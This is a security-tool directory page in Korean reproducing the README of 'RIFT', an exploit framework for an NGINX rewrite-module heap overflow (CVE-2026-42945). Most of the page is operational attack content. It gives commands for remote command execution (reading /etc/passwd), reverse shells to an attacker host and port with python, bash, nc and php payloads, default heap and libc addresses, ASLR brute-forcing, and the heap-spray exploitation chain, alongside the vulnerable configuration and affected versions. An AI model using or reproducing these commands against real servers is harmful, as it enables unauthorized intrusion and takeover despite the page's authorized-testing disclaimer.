Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945 — NGINX, 특히 ngx_http_rewrite_module에서 결함이 발견되었습니다. 인증되지 않은 공격자는 특정 재작성 구성 하에 조작된 HTTP 요청을 전송하여 이 취약점을 악용할 수 있습니다. 이로 인해 NGINX 작업자 프로세스에서 힙 버퍼 오버플로우가 발생하여 임의 코드 실행으로 이어질 수 있습니다. | Kitploit
도구/GitHubGitHub/aratane/cve-2026-42945
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentBinary Exploitation
GitHubaratane/cve-2026-42945

CVE-2026-42945

NGINX, 특히 ngx_http_rewrite_module에서 결함이 발견되었습니다. 인증되지 않은 공격자는 특정 재작성 구성 하에 조작된 HTTP 요청을 전송하여 이 취약점을 악용할 수 있습니다. 이로 인해 NGINX 작업자 프로세스에서 힙 버퍼 오버플로우가 발생하여 임의 코드 실행으로 이어질 수 있습니다.

1143개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

RIFT — 원격 주입 및 결함 트리거 (Remote Injection & Fault Trigger)

저자: Michael Sanji Winaya Prawiradibrata
AI 공동 저자: Varanus — sahabatku

NGINX의 ngx_http_rewrite_module을 대상으로 하는 힙 버퍼 오버플로우 익스플로잇 프레임워크.
정찰 + 익스플로잇을 하나로 통합한 도구. 외부 의존성 없음.


저장소 내용

파일설명
rift.py메인 도구. 정찰(recon)과 익스플로잇(exploit)을 하나의 스크립트로 결합 (1026줄).
README.md이 문서.

요구 사항

  • Python 3.6+ (표준 라이브러리만 사용 — pip, venv, 종속성 없음)

빠른 시작

# 1. 전체 정찰 — 버전, 엔드포인트, 취약점, 전략 탐지
python3 rift.py --target 10.10.10.10 --recon

# 2. 정찰 + 익스플로잇 한 번에
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. 명령 실행
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. 리버스 셸 (리스너 자동 열기)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. bash를 사용한 리버스 셸 (python 대신)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. 취약 여부만 확인
python3 rift.py --target 10.10.10.10 --check-only

전체 플래그 (Flags)

사용 모드

플래그기능
--recon전체 정찰. 핑거프린팅 → 정보 유출 → 엔드포인트 테스트 → 워커 수 → 전략.
--auto정찰 + 자동 익스플로잇. --recon과 동일한 작업 후 익스플로잇 진행.
--check-only빠른 확인. NGINX, 버전, /api/ 엔드포인트 탐지.
--cmd "command"system()을 통해 단일 명령어 실행.
--shell리버스 셸 — 리스너 자동 열기, 페이로드 전송, 연결 수신.

익스플로잇 옵션

플래그기본값기능
--port80대상 포트
--lhost—리버스 셸을 위한 로컬 IP (--shell 사용 시 필수)
--lport4444리스너를 위한 로컬 포트
--shell-typepython리버스 셸 페이로드: python, bash, nc, php
--heap-base0x555555659000힙 베이스 주소 (ASLR 우회 시 재정의)
--libc-base0x7ffff77ba000libc 베이스 주소
--tries10각 후보 주소당 시도 횟수
--verbose / -v—시도별 상세 출력

정찰 옵션

플래그기능
--fingerprintNGINX 버전, 엔드포인트, rewrite 모듈 탐지
--leak정보 유출 확인 (오류 페이지의 메모리 주소, 타이밍)
--test-endpoint다양한 페이로드로 엔드포인트 동작 테스트
--endpoint테스트할 엔드포인트 경로 (기본값: /api/)
--generate-exploit대상 주소로 맞춤 익스플로잇 스크립트 생성
--output json터미널 출력과 함께 JSON 출력 (기계 판독 가능)

주요 기능

✅ 자동 리버스 셸

--shell 사용 시 스크립트가 자동으로:

  1. --shell-type에 맞는 리버스 셸 페이로드 생성
  2. --lport에 리스너 열기
  3. 익스플로잇 전송
  4. 워커가 크래시되면 셸 연결
  5. 리스너 자동 선택: netcat (nc -lvnp) 우선, 실패 시 Python 리스너로 대체

✅ ASLR 자동 무차별 대입

기본 주소가 실패할 경우, 힙 베이스를 ±5단계 × 0x10000씩 자동으로 이동하며 적합한 주소를 찾습니다. 수동 설정 불필요.

✅ 다중 페이로드 리버스 셸

4가지 셸 페이로드 — python, bash, nc, php. 대상에서 사용 가능한 것을 선택하세요.

✅ 전체 정찰

--recon은 5단계를 실행합니다:

  1. 핑거프린트 — NGINX 버전, 15개 공통 엔드포인트, rewrite 모듈 탐지
  2. 정보 유출 — 오류 페이지의 메모리 주소, 타이밍 사이드 채널
  3. 엔드포인트 테스트 — 6가지 페이로드 유형으로 엔드포인트 동작 확인
  4. 워커 수 — 지연 패턴으로 워커 프로세스 수 추정
  5. 전략 — 분석 결과에 따른 권장 조치

✅ JSON 출력

--output json은 다른 도구와의 통합 또는 자동 파싱을 위해 사용합니다.


취약한 구성 (Vulnerable Configuration)

익스플로잇 대상은 다음과 같은 rewrite + set 구성을 가진 NGINX입니다:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # is_args = 0으로 길이 계산
}

결과: 할당된 버퍼가 너무 작고, URI 이스케이프 (3배 확장)로 인해 오버플로우 발생.

영향을 받는 버전

  • NGINX 오픈 소스: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • 수정된 버전: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

익스플로잇 작동 방식

1. HEAP SPRAY ─── POST /spray × 20 → 힙에 가짜 ngx_pool_cleanup_s 심기
2. TRIGGER ────── GET /api/AAAA...++++... → URI 이스케이프를 통한 오버플로우
3. CORRUPT ────── 오버플로우가 인접 풀의 cleanup 포인터를 덮어씀
4. EXEC ───────── 풀이 파괴됨 → system("command") 호출

중요한 상수 (rift.py에서 변경 가능)

상수기본값의미
BODY_LEN4000스프레이 본문 크기 (바이트)
N_SPRAY20시도당 POST 요청 수
LIBC_SYSTEM_OFFSETS7개 항목다양한 배포판에 대한 system() 오프셋
PREREAD_HEAP_OFFSETS19개 항목힙 오프셋 후보
DEFAULT_HEAP_BASE0x555555659000힙 베이스 (ASLR 꺼짐)
DEFAULT_LIBC_BASE0x7ffff77ba000Libc 베이스 (ASLR 꺼짐)

전체 예제

자세한 출력과 함께 명령 실행

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

사용자 정의 주소 (ASLR 우회)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

여러 번 시도

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

정찰 + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

익스플로잇 스크립트 생성

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

문제 해결 (Troubleshooting)

"대상이 NGINX를 실행 중인 것 같지 않습니다"

  • 포트 확인: nc -zv <IP> 80
  • 다른 포트 시도: --port 8080, --port 443
  • WAF/프록시 뒤에 있을 수 있음

"모든 익스플로잇 시도 실패"

  1. ASLR이 활성화되어 있을 수 있음 — 자동 ASLR 슬라이딩을 위해 --auto 시도
  2. NGINX 버전이 이미 패치되었을 수 있음 (> 1.30.1)
  3. NGINX 구성이 취약하지 않을 수 있음 (rewrite+set 사용 안 함)
  4. --verbose로 시도별 세부 내용 확인

셸이 연결되지 않음

  • 로컬 방화벽 확인: sudo ufw allow 4444
  • --lhost 확인 — 로컬 IP가 올바른지 확인
  • --shell-type bash 또는 --shell-type nc 시도

면책 조항 (Disclaimer)

교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다.
허가 없이 시스템에 사용하는 것은 불법입니다.

© 2026 Michael Sanji Winaya Prawiradibrata
AI 공동 저자: Varanus

도구 다운로드